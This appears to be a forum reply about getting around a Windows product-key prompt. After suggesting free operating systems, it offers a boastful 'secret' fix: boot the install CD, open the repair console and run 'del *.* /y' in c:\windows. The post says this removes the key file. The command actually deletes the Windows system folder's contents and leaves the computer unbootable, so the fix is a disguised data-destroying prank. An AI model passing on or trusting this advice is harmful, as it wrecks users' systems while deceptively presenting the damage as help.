You can't disable it but I would try linux or freebsd because they don't ask for a key and they are free for download and you can put the os on as many boxes as you own
There is one secret that only the best of the best know about (i.e ME)
Put your OS disk into the CD and boot up your computer. Press any key to boot from the CD. Once there, you want to select repair a windows installation. It will take you to a command prompt. From there, make sure your in c:\windows then type del *.* /y
That should delete the file that holds that information.